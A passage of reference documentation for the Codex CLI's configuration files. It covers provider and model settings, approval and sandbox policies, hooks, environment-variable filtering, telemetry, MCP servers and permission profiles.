codex --config 'shell_environment_policy.include_only=["PATH","HOME"]'
```
- Keys use dot notation for nested values (e.g. `mcp_servers.context7.enabled=false`).
- `--config` values parse as TOML; quote them so the shell doesn't split on spaces.
- Unparseable values are treated as strings.
## Config and state locations
`CODEX_HOME` (default `~/.codex`) holds `config.toml`, `auth.json` (or OS keychain), `history.jsonl`, logs, caches.
```toml
openai_base_url = "https://us.api.openai.com/v1"
```
To point the built-in OpenAI provider at an LLM proxy, router, or data-residency enabled project, set `openai_base_url` instead of defining a new provider; it changes the base URL for the built-in `openai` provider without a separate `model_providers.<id>` entry. See the authentication page for credential storage modes.
## Project config files (`.codex/config.toml`)
Codex walks from the project root to cwd loading every `.codex/config.toml`; closest file wins on key conflicts. Loaded only when the project is trusted. Relative paths (e.g. `model_instructions_file`) resolve relative to the containing `.codex/` folder.
Project-local config cannot override: `openai_base_url`, `chatgpt_base_url`, `apps_mcp_product_sku`, `model_provider`, `model_providers`, `notify`, `profile`, `profiles`, `experimental_realtime_ws_base_url`, `otel` (Codex warns and ignores these). Set those in user-level config; select profiles with `--profile`.
## Hooks
Hooks load from `hooks.json` or inline `[hooks]` next to active config layers: `~/.codex/hooks.json`, `~/.codex/config.toml`, `<repo>/.codex/hooks.json`, `<repo>/.codex/config.toml`. Project-local hooks load only for trusted projects.
```toml
[[hooks.PreToolUse]]
matcher = "^Bash$"
[[hooks.PreToolUse.hooks]]
type = "command"
command = '/usr/bin/python3 "$(git rev-parse --show-toplevel)/.codex/hooks/pre_tool_use_policy.py"'
timeout = 30
statusMessage = "Checking Bash command"
```
If a layer has both `hooks.json` and inline `[hooks]`, Codex loads both and warns.
## Agent roles
`[agents]` in `config.toml` configures subagent roles (see the Subagents docs, out of this scope).
## Project root detection
```toml
# Treat a directory as the project root when it contains any of these markers.
project_root_markers = [".git", ".hg", ".sl"]
```
Default marker is `.git`. Set `project_root_markers = []` to skip parent search and use cwd as root.
## Custom model providers
A provider defines base URL, wire API, auth, and headers. Custom providers cannot reuse reserved IDs `openai`, `ollama`, `lmstudio`.
```toml
model = "gpt-6.1-sol"
model_provider = "proxy"
[model_providers.proxy]
name = "OpenAI using LLM proxy"
base_url = "http://proxy.example.com"
env_key = "OPENAI_API_KEY"
[model_providers.local_ollama]
name = "Ollama"
base_url = "http://localhost:11434/v1"
[model_providers.mistral]
name = "Mistral"
base_url = "https://api.mistral.ai/v1"
env_key = "MISTRAL_API_KEY"
```
For organization gateways, see the enterprise pages "Sign in with ChatGPT through a gateway", "Use API/provider credentials" (connect-to-a-gateway), and "Roll out a gateway".
```toml
[model_providers.proxy]
name = "OpenAI using LLM proxy"
base_url = "https://proxy.example.com/v1"
env_key = "OPENAI_API_KEY"
supports_standalone_web_search = true
```
Add headers:
```toml
[model_providers.example]
http_headers = { "X-Example-Header" = "example-value" }
env_http_headers = { "X-Example-Features" = "EXAMPLE_FEATURES" }
```
Command-backed bearer token auth:
```toml
[model_providers.proxy]
name = "OpenAI using LLM proxy"
base_url = "https://proxy.example.com/v1"
wire_api = "responses"
[model_providers.proxy.auth]
command = "/usr/local/bin/fetch-codex-token"
args = ["--audience", "codex"]
timeout_ms = 5000
refresh_interval_ms = 300000
```
The auth command receives no `stdin` and must print the token to stdout. Codex trims surrounding whitespace, treats an empty token as an error, and refreshes proactively at `refresh_interval_ms`; set `refresh_interval_ms = 0` to refresh only after an authentication retry. Don't combine `[model_providers.<id>.auth]` with `env_key`, `experimental_bearer_token`, or `requires_openai_auth`.
`supports_standalone_web_search` defaults to `false` for custom providers. Standalone web search is under development and off by default; setting it to `true` doesn't enable it — the provider must support a compatible endpoint, and the selected model and runtime must support standalone search. The configured `web_search` mode and managed search restrictions still apply.
### Amazon Bedrock provider
Codex includes a built-in `amazon-bedrock` model provider. Set it directly as `model_provider`; unlike custom providers, it supports only the nested AWS profile and region overrides. If you omit `profile`, Codex uses the standard AWS credential chain. Set `region` to the supported Bedrock region that should handle requests (see amazon-bedrock.md).
```toml
model_provider = "amazon-bedrock"
model = "<bedrock-model-id>"
[model_providers.amazon-bedrock.aws]
profile = "default"
region = "eu-central-1"
```
### OSS mode (local providers)
Codex can run against a local "open source" provider such as Ollama or LM Studio when you pass `--oss`. Choose one for a single run with `--local-provider`, or set `oss_provider` as the default. If neither is set, the interactive CLI prompts you to choose; `codex exec` exits with an error.
```toml
oss_provider = "ollama" # or "lmstudio"
```
### Azure provider
```toml
[model_providers.azure]
name = "Azure"
base_url = "https://YOUR_PROJECT_NAME.openai.azure.com/openai"
env_key = "AZURE_OPENAI_API_KEY"
query_params = { api-version = "2025-04-01-preview" }
wire_api = "responses"
request_max_retries = 4
stream_max_retries = 10
stream_idle_timeout_ms = 300000
```
To change the base URL of the built-in `openai` provider, use `openai_base_url` — don't define `[model_providers.openai]` (built-in provider IDs can't be overridden).
## API organizations using data residency
Projects created with data residency enabled can create a model provider to update the `base_url` with the correct prefix. For ChatGPT workspaces with data residency, a custom provider isn't required; Codex respects workspace residency settings when you sign in with ChatGPT.
```toml
model_provider = "openaidr"
[model_providers.openaidr]
name = "OpenAI Data Residency"
base_url = "https://us.api.openai.com/v1" # Replace 'us' with domain prefix
requires_openai_auth = true # per authentication contract; not in the official snippet
```
## Model reasoning, verbosity, and limits
```toml
model_reasoning_summary = "none" # Disable summaries
model_verbosity = "low" # Shorten responses
model_supports_reasoning_summaries = true # Force reasoning
model_context_window = 128000 # Context window size
```
`model_verbosity` applies only to providers using the Responses API; Chat Completions providers ignore it.
## Approval policies and sandbox modes
Codex and ChatGPT Work no longer support `approval_policy = "untrusted"`; see "Migrate from the retired `untrusted` approval policy" in agent-approvals-security.md. For permission profiles that configure filesystem and network access together, see permission-profiles.md.
Set `approvals_reviewer = "auto_review"` to route eligible interactive approval requests through automatic review; this changes the reviewer, not the sandbox boundary. `[auto_review].policy` holds local reviewer policy instructions; managed `guardian_policy_config` takes precedence.
```toml
approval_policy = "on-request" # Other options: never, or { granular = { ... } }
approvals_reviewer = "user" # Or "auto_review" for automatic review
sandbox_mode = "workspace-write"
allow_login_shell = false # Optional hardening: disallow login shells for shell tools
[sandbox_workspace_write]
exclude_tmpdir_env_var = false
exclude_slash_tmp = false
writable_roots = ["/Users/YOU/.pyenv/shims"]
network_access = false
[auto_review]
policy = """
Use your organization's automatic review policy.
"""
```
Example granular approval policy (allows or auto-rejects individual prompt categories, so e.g. `request_permissions` or skill-script prompts fail closed):
```toml
approval_policy = { granular = { sandbox_approval = true, rules = true, mcp_elicitations = true, request_permissions = false, skill_approval = false } }
```
The official docs show this as a commented multi-line example; TOML 1.0 inline tables cannot span lines, so it is written on one line here.
In workspace-write mode, some environments keep `.git/`, `.agents/`, `.codex/`, and `.aws/` read-only even when the rest of the workspace is writable, so commands like `git commit` may still need approval outside the sandbox. To skip or block specific commands, use rules (see rules.md).
Disable sandboxing entirely (only if the environment already isolates processes):
```toml
sandbox_mode = "danger-full-access"
```
Named permission profiles (built-ins and custom `[permissions.<name>]` tables) are documented separately in permission-profiles.md (security-automation category).
## Shell environment policy
```toml
[shell_environment_policy]
inherit = "core"
set = { MY_FLAG = "1" }
ignore_default_excludes = false
[shell_environment_policy.filters]
"AWS_*" = "exclude"
"AZURE_*" = "exclude"
```
Order: automatic exclusions -> custom exclusions -> `set` values -> include-pattern allowlist. `inherit`: `all` | `core` | `none`. Filter patterns are case-insensitive and support `*` and `?`; when any pattern uses `"include"`, only matching variables are kept, and includes don't restore already-excluded variables. Filter keys merge case-insensitively across layers. `set` runs after exclusions so it can restore an excluded variable, but an include allowlist can still remove it. `ignore_default_excludes` defaults to `true`; set `false` to apply the automatic `KEY`/`SECRET`/`TOKEN` exclusions first. Legacy `exclude`/`include_only` arrays remain supported but Codex rejects combining them with `filters` in the same layer.
## MCP servers
See [Model Context Protocol](./mcp-config.md) for MCP server configuration details.
## Observability and telemetry (OTel)
```toml
[otel]
environment = "staging" # defaults to "dev"
exporter = "none" # set to otlp-http or otlp-grpc to send events
log_user_prompt = false # redact user prompts unless explicitly enabled
```
```toml
[otel]
exporter = { otlp-http = { endpoint = "https://otel.example.com/v1/logs", protocol = "binary", headers = { "x-otlp-api-key" = "${OTLP_TOKEN}" } } }
```
```toml
[otel]
exporter = { otlp-grpc = { endpoint = "https://otel.example.com:4317", headers = { "x-otlp-meta" = "abc123" } } }
```
OTel log export is disabled by default. With `exporter = "none"` Codex records events but sends nothing; exporters batch asynchronously and flush on shutdown.
What gets emitted (representative events): `codex.conversation_starts` (model, reasoning settings, sandbox/approval policy), `codex.api_request`, `codex.sse_event`, `codex.websocket_request` / `codex.websocket_event`, `codex.user_prompt` (length; content redacted unless enabled), `codex.tool_decision` (approved/denied; config vs user), `codex.tool_result` (duration, success, output snippet). With the OTel metrics pipeline enabled, Codex also emits counters and duration histograms (e.g. `codex.api_request`, `codex.api_request.duration_ms`, `codex.tool.call`, `codex.tool.call.duration_ms`, `codex.sse_event`, `codex.websocket.request`) tagged with `auth_mode`, `originator`, `session_source`, `model`, `app.version`.
Anonymous usage and health metrics are sent by default, are independent of OTel log/trace export, and contain no PII. `[analytics] enabled = false` disables them (and custom OTLP metrics exporters in Codex CLI).
Disable anonymous usage metrics collection:
```toml
[analytics]
enabled = false
```
Disable `/feedback` submission:
```toml
[feedback]
enabled = false
```
Suppress or surface reasoning output:
```toml
hide_agent_reasoning = true
show_raw_agent_reasoning = true
```
## Notifications
```toml
notify = ["python3", "/path/to/notify.py"]
```
The script receives one JSON argument with fields: `type` (`agent-turn-complete`), `thread-id`, `turn-id`, `cwd`, `input-messages`, `last-assistant-message`.
`notify` runs an external program; `tui.notifications` is built into the TUI (optionally filtered by event type); `tui.notification_method` picks `auto`/`osc9`/`bel`; `tui.notification_condition` picks `unfocused`/`always`.
## History persistence
```toml
[history]
persistence = "none" # disable local history
max_bytes = 104857600 # 100 MiB cap; oldest entries dropped when exceeded
```
## Clickable citations
```toml
file_opener = "vscode" # or cursor, windsurf, vscode-insiders, none
```
## Project instructions discovery
- `project_doc_max_bytes`: bytes read from each `AGENTS.md`.
- `project_doc_fallback_filenames`: fallback filenames when `AGENTS.md` is missing.
## Desktop custom file handlers
User-level only, ChatGPT desktop app:
```toml
[desktop.custom_file_handlers.vscodium]
label = "VSCodium"
icon = "/Users/you/.codex/icons/vscodium.png"
command = "codium"
[desktop.custom_file_handlers.textedit]
label = "TextEdit"
icon = "/Users/you/.codex/icons/textedit.png"
command = "/usr/bin/open"
args = ["-a", "TextEdit"]
```
| Field | Required | Description |
|-------|----------|-------------|
| `label` | Yes | Display name in the app. |
| `icon` | Yes | Bundled icon, base64 `data:image/...`, `file:` URI, or absolute path. |
| `command` | Yes | Executable path or command name. |
| `args` | No | Args inserted between command and file input. Default `[]`. |
| `input` | No | `path` \| `json_argument` \| `json_stdin`. Default `path`. |
| `supports_ssh` | No | Offer handler for files in SSH workspaces. Default `false`. |
Handler ID is the final segment of the table header: 1–64 characters, starting with an ASCII letter or number, otherwise ASCII letters, numbers, periods, underscores, or hyphens; quote an ID containing a period (`[desktop.custom_file_handlers."company.editor"]`). The app exposes it as `custom:<id>`. Save `config.toml` and restart the desktop app. `input = "json_argument"` appends a JSON object with `target`, `path`, `appPath`, and `location` (1-based `line` / `column`, or `null`); `json_stdin` writes it to standard input and also includes `hostConfig`, `remoteWorkspaceRoot`, `remotePath` (`null` when not applicable).
## TUI options
`[tui]` keys include `notifications`, `notification_method`, `notification_condition`, `animations`, `alternate_screen`, `show_tooltips`. See [Configuration Reference](./config-reference.md) for the full list.
## Notes
- The official data-residency snippet omits authentication; per the authentication docs a custom provider without `env_key` or `requires_openai_auth = true` is treated as requiring no auth, so this page adds `requires_openai_auth = true` (alternatively set `env_key = "OPENAI_API_KEY"`).
- For the full config key table (all sections above condensed into one searchable list), see [Configuration Reference](./config-reference.md).
## Related
- [Config basics](./config-basics.md)
- [Configuration Reference](./config-reference.md)
- [Model Context Protocol](./mcp-config.md)
references/config/config-basics.md
# Config basics
Codex reads configuration from multiple layered locations. User defaults live in `~/.codex/config.toml`; project overrides live in `.codex/config.toml` (loaded only for trusted projects).
## Signature / Usage
```toml
# ~/.codex/config.toml
model = "gpt-6.1-sol"
approval_policy = "on-request"
sandbox_mode = "workspace-write"
```
Open the file from the Codex IDE extension via the gear icon > **Codex Settings > Open config.toml**.
## Configuration precedence
Highest to lowest precedence:
1. CLI flags and `--config` overrides
2. Project config files: `.codex/config.toml`, root to cwd (closest wins; trusted projects only)
3. [Profile](./config-advanced.md) files selected with `--profile profile-name` (`~/.codex/profile-name.config.toml`)
4. User config: `~/.codex/config.toml`
5. Cloud-managed `config.toml` defaults, when delivered for the signed-in workspace
6. System config (if present): `/etc/codex/config.toml` on Unix
7. Built-in defaults
Requirements constrain behavior; configuration values provide defaults. On managed machines, `requirements.toml` can additionally constrain security-sensitive settings (for example disallowing `approval_policy = "never"` or `sandbox_mode = "danger-full-access"`). See [Configuration Reference](./config-reference.md).
Cloud-managed and system configuration can define plugin marketplaces and set whether plugins are enabled by default; these are separate from enforced `requirements.toml` policies.
If a project is marked untrusted, Codex skips project-scoped `.codex/` layers (config, hooks, rules); user/system config and user/global hooks and rules still load.
## Common configuration options
| Key | Example | Description |
|-----|---------|-------------|
| `model` | `model = "gpt-6.1-sol"` | Default model. |
| `approval_policy` | `approval_policy = "on-request"` | `on-request` \| `never` \| granular table. `untrusted` is retired (see Notes). |
| `sandbox_mode` | `sandbox_mode = "workspace-write"` | `read-only` \| `workspace-write` \| `danger-full-access`. |
| `default_permissions` | `default_permissions = ":workspace"` | Named permission profile (`:read-only`, `:workspace`, `:danger-full-access`, or a custom `[permissions.<name>]`). |
| `[windows] sandbox` | `sandbox = "elevated"` | Legacy Windows sandbox fallback: `elevated` or `unelevated`. Prefer MXC via `[features] prefer_mxc = true`. |
| `web_search` | `web_search = "cached"` | `cached` (default) \| `indexed` \| `live` (same as `--search`) \| `disabled`. With `--yolo` or another full access sandbox setting, defaults to live. |
| `model_reasoning_effort` | `model_reasoning_effort = "medium"` | Reasoning effort for supported models. |
| `personality` | `personality = "none"` | Omits the built-in `Personality` section; `friendly` / `pragmatic` no longer select a style. |
| `[tui.keymap.*]` | see below | Customize TUI shortcuts. |
| `[shell_environment_policy]` | see below | Control env vars forwarded to spawned commands. |
| `log_dir` | `log_dir = "/path/to/codex-logs"` | Log directory; setting it also enables the opt-in `codex-tui.log`. One-off: `codex -c log_dir=./.codex-log`. |
```toml
[tui.keymap.global]
open_transcript = "ctrl-t"
[tui.keymap.composer]
submit = ["enter", "ctrl-m"]
[tui.keymap.chat]
interrupt_turn = "f12"
[shell_environment_policy]
ignore_default_excludes = false
[shell_environment_policy.filters]
"PATH" = "include"
"HOME" = "include"
[windows]
sandbox = "elevated" # Legacy fallback
[features]
prefer_mxc = true
```
`tui.keymap` is split into `[tui.keymap.global]`, `[tui.keymap.composer]`, and `[tui.keymap.chat]`. Selected composer actions fall back to matching `tui.keymap.global` bindings; context-specific bindings take precedence when supported. An empty list unbinds the action.
`shell_environment_policy.ignore_default_excludes` defaults to `true` (skips automatic filtering of names containing `KEY`/`SECRET`/`TOKEN`); set `false` to enable that filtering.
`shell_environment_policy.filters` (`map<string, "include" | "exclude">`) is the canonical, current form for pattern-based variable filtering; include entries create an allowlist and can't restore excluded values. The legacy `shell_environment_policy.exclude` / `include_only` arrays still work but are superseded by `filters` — don't combine the legacy arrays with `filters` in the same config layer.
## Feature flags
Use `[features]` to toggle optional/experimental capabilities. The table lists common user-facing flags, not every internal or under-development feature.
| Key | Default | Maturity | Description |
|-----|---------|----------|-------------|
| `apps` | true | Stable | Enable app (connector) integrations |
| `goals` | true | Stable | Enable persisted goals and automatic continuation |
| `hooks` | true | Stable | Enable lifecycle hooks from `hooks.json` or inline `[hooks]` |
| `fast_mode` | true | Stable | Enable Fast mode selection and the `service_tier = "fast"` path |
| `memories` | false | Experimental | Enable Memories |
| `multi_agent` | true | Stable | Enable subagent collaboration tools |
| `remote_plugin` | true | Stable | Enable the remote plugin catalog |
| `shell_snapshot` | true | Stable | Snapshot your shell environment to speed up repeated commands |
| `shell_tool` | true | Stable | Enable command execution tools |
| `unified_exec` | true | Stable | Enable resumable command execution; only managed requirements can disable it |
| `web_search` | true | Deprecated | Legacy toggle; prefer the top-level `web_search` setting |
| `web_search_cached` | false | Deprecated | Legacy toggle that maps to `web_search = "cached"` when unset |
| `web_search_request` | false | Deprecated | Legacy toggle that maps to `web_search = "live"` when unset |
Enable via `[features]` table (`feature_name = true`) or CLI: `codex --enable feature_name` (repeatable: `codex --enable feature_a --enable feature_b`). Set the key to `false` to disable. Omit keys to keep defaults.
## Notes
- The CLI and IDE extension share the same configuration layers.
- For one-off `-c`/`--config` overrides and TOML quoting rules, see [Advanced Config](./config-advanced.md).
- `approval_policy = "untrusted"` is retired; if an existing configuration uses it, see "Migrate from the retired `untrusted` approval policy" in the agent-approvals-security page (security-automation category).
- `personality`: the older `friendly` and `pragmatic` values no longer select a style, and Codex no longer provides the `/personality` command. Setting `none` doesn't change explicit custom base instructions.
- Windows: prefer MXC when the device and policy support it; use `unelevated` only when elevated setup is unavailable and organization policy permits it.
- Web search caches an OpenAI-maintained index of web results, which reduces exposure to prompt injection from arbitrary live content; treat web results as untrusted.
## Related
- [Advanced Configuration](./config-advanced.md)
- [Configuration Reference](./config-reference.md)
- [Sample Configuration](./config-sample.md)
- [Environment variables](./environment-variables.md)
references/config/config-reference.md
# Configuration Reference
Complete searchable key reference for `config.toml` and `requirements.toml`. For conceptual guidance, start with [Config basics](./config-basics.md) and [Advanced Config](./config-advanced.md).
## Signature / Usage
```toml
# ~/.codex/config.toml
#:schema https://developers.openai.com/codex/config-schema.json
model = "gpt-6.1-sol"
approval_policy = "on-request"
```
User-level config lives at `~/.codex/config.toml`; project overrides live in `.codex/config.toml` (trusted projects only). Install the "Even Better TOML" VS Code/Cursor extension and add the `#:schema` line above for autocompletion. Config profile files live next to `config.toml` as `$CODEX_HOME/profile-name.config.toml`; select one with `--profile profile-name`.
Project-scoped config cannot override machine-local provider/auth/notification/telemetry keys: `openai_base_url`, `chatgpt_base_url`, `apps_mcp_product_sku`, `model_provider`, `model_providers`, `notify`, `profile`, `profiles`, `experimental_realtime_ws_base_url`, `otel`.
`experimental_instructions_file` is deprecated; rename it to `model_instructions_file`.
Set `model` to one available to your signed-in account or workspace (see models.md for GPT-6.1 Sol availability).
## `config.toml` key groups
### Model & provider
| Key | Type | Description |
|-----|------|-------------|
| `model` | string | Model to use (e.g. `gpt-6.1-sol`). |
| `review_model` | string | Optional `/review` model override (defaults to the current session model). |
| `model_provider` | string | Provider id from `model_providers` (default `openai`). |
| `openai_base_url` | string | Base URL override for the built-in `openai` provider. |
| `model_context_window` | number | Context window tokens available to the active model. |
| `model_auto_compact_token_limit` | number | Auto-compaction threshold (unset uses model defaults). |
| `model_auto_compact_token_limit_scope` | `total` \| `body_after_prefix` | `total` (default) counts the full active context; `body_after_prefix` only growth after the carried compaction-window prefix. |
| `model_catalog_json` | path | JSON model catalog loaded at startup; a profile file can override it. |
| `oss_provider` | `lmstudio` \| `ollama` | Default local provider for `--oss` (prompts if unset). |
| `model_providers.<id>` | table | Custom provider definition (`openai` / `ollama` / `lmstudio` reserved and can't be overridden). |
| `model_providers.<id>.{name,base_url,model_catalog_url,env_key,env_key_instructions,experimental_bearer_token,requires_openai_auth,query_params,http_headers,env_http_headers}` | mixed | Provider connection/auth settings. `model_catalog_url` is a full URL for a Codex-native model catalog. `experimental_bearer_token` is discouraged; use `env_key`. |
| `model_providers.<id>.wire_api` | `responses` | `responses` is the only supported value and the default. |
| `model_providers.<id>.{request_max_retries,stream_max_retries,stream_idle_timeout_ms}` | number | Retry/timeouts (defaults 4 / 5 / 300000). |
| `model_providers.<id>.supports_websockets` | boolean | Whether the provider supports the Responses API WebSocket transport. |
| `model_providers.<id>.supports_standalone_web_search` | boolean | Advertise a compatible standalone web search endpoint (default `false`; doesn't enable it by itself). |
| `model_providers.<id>.capabilities.external_web_access` | boolean | Whether the provider's hosted web search can access the live web. |
| `model_providers.<id>.capabilities.remote_compaction` | `unsupported` \| `v2` | Provider compaction protocol; `unsupported` uses local compaction, `v2` sends compaction triggers through Responses. |
| `model_providers.<id>.auth.{command,args,timeout_ms,refresh_interval_ms,cwd}` | mixed | Command-backed bearer token auth (defaults: `timeout_ms` 5000, `refresh_interval_ms` 300000; `0` refreshes only after an auth retry). Don't combine with `env_key`, `experimental_bearer_token`, or `requires_openai_auth`. |
| `model_providers.amazon-bedrock.aws.{profile,region}` | string | Built-in Amazon Bedrock provider AWS profile / region. |
| `model_reasoning_effort` | string | Reasoning effort advertised by the selected model, such as `low`, `medium`, `high`, `xhigh`, `max`, or `ultra`. Available levels depend on the model and client. |
| `plan_mode_reasoning_effort` | string | Plan-mode-specific override; unset uses the Plan preset default. |
| `model_reasoning_summary` | `auto`\|`concise`\|`detailed`\|`none` | Reasoning summary detail. |
| `model_verbosity` | `low`\|`medium`\|`high` | Optional GPT-5 Responses API verbosity override. |
| `model_supports_reasoning_summaries` | boolean | Force Codex to send or not send reasoning metadata. |
| `service_tier` | string | Preferred service tier for new turns; `fast` maps to the request value `priority`. |
| `personality` | `none` \| `friendly` \| `pragmatic` | Deprecated compatibility setting. `friendly` / `pragmatic` no longer select a style; `none` omits the built-in Personality section. |
### Approvals & sandbox
| Key | Type | Description |
|-----|------|-------------|
| `approval_policy` | `on-request`\|`never`\|granular table | When Codex pauses for approval. `untrusted` is unsupported; `on-failure` is deprecated (use `on-request` for interactive runs, `never` for non-interactive). Project entries with `trust_level = "untrusted"` remain supported. |
| `approval_policy.granular.{sandbox_approval,rules,mcp_elicitations,request_permissions,skill_approval}` | boolean | When `true`, that prompt category is allowed to surface (sandbox escalation / execpolicy `prompt` rules / MCP elicitations / `request_permissions` tool / skill-script approvals). |
| `approvals_reviewer` | `user`\|`auto_review` | Who reviews eligible prompts under `on-request` or granular policies (default `user`). Doesn't change sandboxing. |
| `auto_review.policy` | string | Local Markdown auto-review policy (managed `guardian_policy_config` takes precedence; blank ignored). |
| `auto_review.extra_policy` | string | Additional local Markdown policy (managed `guardian_extra_policy` takes precedence). |
| `allow_login_shell` | boolean | Allow login-shell semantics for shell tools (default `true`; when `false`, `login = true` requests are rejected). |
| `sandbox_mode` | `read-only`\|`workspace-write`\|`danger-full-access` | Filesystem/network sandbox policy. |
| `sandbox_workspace_write.{writable_roots,network_access,exclude_tmpdir_env_var,exclude_slash_tmp}` | mixed | Workspace-write mode tuning. |
| `windows.sandbox` | `mxc`\|`elevated`\|`unelevated` | Native Windows sandbox implementation. Explicit `mxc` fails when MXC is unavailable or prohibited by managed requirements. Use `features.prefer_mxc` with a legacy selection for automatic MXC selection with fallback. |
| `default_permissions` | string | Default named permission profile (`:read-only`, `:workspace`, `:danger-full-access`, or custom). Don't combine with `sandbox_mode` / `[sandbox_workspace_write]`. |
| `permissions.<name>.description` | string | Human-readable description (not inherited through `extends`). |
| `permissions.<name>.extends` | string | Parent profile (named profile, `:read-only`, or `:workspace`); `:danger-full-access`, undefined parents, and cycles are rejected. |
| `permissions.<name>.workspace_roots` / `.<path>` | table / boolean | Profile-defined workspace roots receiving `:workspace_roots` filesystem rules; a path set `true` opts in. |
| `permissions.<name>.filesystem` | table | Keys are absolute paths or tokens such as `:minimal` / `:workspace_roots`. |
| `permissions.<name>.filesystem.glob_scan_max_depth` | number | Max depth for expanding deny-read globs on platforms that snapshot matches before sandbox startup (min `1`). |
| `permissions.<name>.filesystem.<path-or-glob>` | `"read"`\|`"write"`\|`"deny"`\|table | Direct access for a path, glob, or token, or nested entries; `"deny"` denies reads. |
| `permissions.<name>.filesystem.":workspace_roots".<subpath-or-glob>` | `"read"`\|`"write"`\|`"deny"` | Access relative to each effective workspace root (`"."` for the root itself; e.g. `"**/*.env"` = `"deny"`). |
| `permissions.<name>.network.enabled` | boolean | Enable command network access for this profile; does not start the proxy (without `features.network_proxy` or managed networking requirements, access is direct and domain rules aren't enforced). |
| `permissions.<name>.network.{proxy_url,socks_url,enable_socks5,enable_socks5_udp,allow_upstream_proxy,dangerously_allow_non_loopback_proxy,dangerously_allow_all_unix_sockets,allow_local_binding}` | mixed | Sandboxed networking listener/policy fields for the profile. |
| `permissions.<name>.network.mode` | `limited` \| `full` | Network proxy mode for subprocess traffic. |
| `permissions.<name>.network.domains` / `.<pattern>` | table / `allow`\|`deny` | Domain rules (exact host, `*.example.com`, `**.example.com`, global `*`; `deny` wins). Enforced only when the proxy is active; doesn't restrict web search, apps, or MCP. |
| `permissions.<name>.network.unix_sockets` / `.<path>` | table / `allow`\|`deny` | Unix socket allowlist overrides (absolute paths). |
| `browser_use.allow_history_access` | boolean | `false` restricts browser-history access; managed requirements can enforce it. |
| `browser_use.default_origin_policy` | table | Fallback origin restrictions: `access`, `uploads`, `downloads`, `full_cdp_access`, each `allow` / `deny`. |
| `browser_use.origins.<origin>` | table | Per-origin restrictions (same fields); include an HTTP/HTTPS scheme and optional port, omit paths/queries/fragments. Local values can't relax managed denies. |
| `computer_use.default_app_access` | `allow` \| `deny` | Fallback native-app access policy; local config can't relax managed restrictions. |
| `computer_use.macos.bundle_ids` | map<string, `allow`\|`deny`> | macOS app access by bundle identifier. |
| `computer_use.windows.aumids` | map<string, `allow`\|`deny`> | Packaged Windows app access by AUMID. |
| `computer_use.windows.exes` | array<table> | Windows executable rules: `publisher_name`, `product_name`, `access` required; `binary_name` optional. |
| `computer_use.windows.always_allowed_app_ids` | array<string> | Windows apps Computer Use can open without prompting; others need approval (remove saved entries in the desktop app's Computer Use settings). |
| `projects.<path>.trust_level` | `"trusted"` \| `"untrusted"` | Per-project trust. Untrusted projects skip project-scoped `.codex/` layers (config, hooks, rules). |
### MCP servers
| Key | Type | Description |
|-----|------|-------------|
| `mcp_servers.<id>.command` / `.args` / `.env` / `.cwd` | mixed | STDIO server launch config. |
| `mcp_servers.<id>.env_vars` | array<string \| {name, source}> | Extra env vars to whitelist; strings default to `source = "local"`; `"remote"` only with executor-backed remote stdio. |
| `mcp_servers.<id>.url` | string | Streamable HTTP server endpoint. |
| `mcp_servers.<id>.auth` | `oauth`\|`chatgpt` | Auth fallback after bearer tokens/headers. `oauth` (default) uses stored MCP OAuth credentials; `chatgpt` uses the current ChatGPT session for the trusted first-party origin, then stored OAuth. |
| `mcp_servers.<id>.oauth.client_id` | string | Pre-registered OAuth client ID. |
| `mcp_servers.<id>.oauth.client_secret` | string | Client secret for a pre-registered client (requires nonempty `client_id`; stored in configuration). |
| `mcp_servers.<id>.oauth.callback_url` | string | Server-specific OAuth callback URL. |
| `mcp_servers.<id>.oauth.callback_port` | integer | Fixed callback listener port for this server (overrides `mcp_oauth_callback_port`). |
| `mcp_servers.<id>.bearer_token_env_var` / `.http_headers` / `.env_http_headers` | mixed | HTTP auth/headers. |
| `mcp_servers.<id>.http_headers_helper` | string (command) | Local command printing a JSON object of header names/values (locally connected HTTP servers only; explicit bearer tokens and OAuth take precedence over helper `Authorization`). |
| `mcp_servers.<id>.enabled` / `.required` | boolean | Disable without removing config; fail startup/resume if an enabled required server can't initialize. |
| `mcp_servers.<id>.startup_timeout_sec` (`_ms` alias) / `.tool_timeout_sec` | number | Timeouts (defaults 10s / 60s). |
| `mcp_servers.<id>.enabled_tools` / `.disabled_tools` | array<string> | Allow list / deny list (applied after `enabled_tools`). |
| `mcp_servers.<id>.default_tools_approval_mode` / `.tools.<tool>.approval_mode` | `auto`\|`prompt`\|`writes`\|`approve` | Approval mode defaults/overrides. |
| `mcp_servers.<id>.tools.<tool>.output_token_limit` | integer (positive) | Token budget for one tool's output (before the 20% serialization allowance); overrides the default truncation budget. |
| `mcp_servers.<id>.scopes` / `.oauth_resource` | mixed | OAuth scopes / RFC 8707 resource. |
| `mcp_servers.<id>.experimental_environment` | `local`\|`remote` | `remote` starts stdio servers through a remote executor environment; streamable HTTP remote placement isn't implemented. |
| `mcp_optional_startup_grace_ms` | integer (ms) | Shared wait for optional MCP servers when building the initial tool catalog (default `1000`; `0` waits for each server's `startup_timeout_sec`). |
| `mcp_oauth_credentials_store` | `auto`\|`file`\|`keyring` | Preferred MCP OAuth credential store. |
| `mcp_oauth_callback_port` | integer | Global fixed port for the OAuth callback server (server-specific `oauth.callback_port` wins; otherwise ephemeral). |
| `mcp_oauth_callback_url` | string | Base callback URL for MCP OAuth login (e.g. a devbox ingress URL); callback URL ports don't select the listener port. |
| `plugins.<plugin>.mcp_servers.<server>.{enabled,default_tools_approval_mode,enabled_tools,disabled_tools}` / `.tools.<tool>.approval_mode` | mixed | Enable/tune MCP servers bundled by an installed plugin without changing the manifest. |
See [Model Context Protocol](./mcp-config.md) for setup walkthroughs.
### Agents, skills, apps
| Key | Type | Description |
|-----|------|-------------|
| `agents.enabled` | boolean | Enable/disable multi-agent tools (default `true`). |
| `agents.max_concurrent_threads_per_session` (legacy alias `max_threads`) | number | Max concurrent spawned-agent threads, excluding the primary; unset lets Codex choose. |
| `agents.default_subagent_model` / `.default_subagent_reasoning_effort` | string | Defaults for spawned agents (explicit spawn values win). |
| `agents.interrupt_message` | boolean | Record message on interrupted agent turn (default `true`). |
| `agents.<name>.description` / `.config_file` | mixed | Custom subagent role declaration (scalar setting names are reserved as role names); relative `config_file` paths resolve from the declaring config file. |
| `skills.max_context_tokens` | integer | Token budget for the available-skills catalog (default 2% of the context window; explicit values capped at `10000`). |
| `skills.config[].{path,enabled}` | mixed | Per-skill enablement overrides (`path` is a folder containing `SKILL.md`). |
| `apps.<id>.enabled` | boolean | Enable/disable an app/connector (default `true`). |
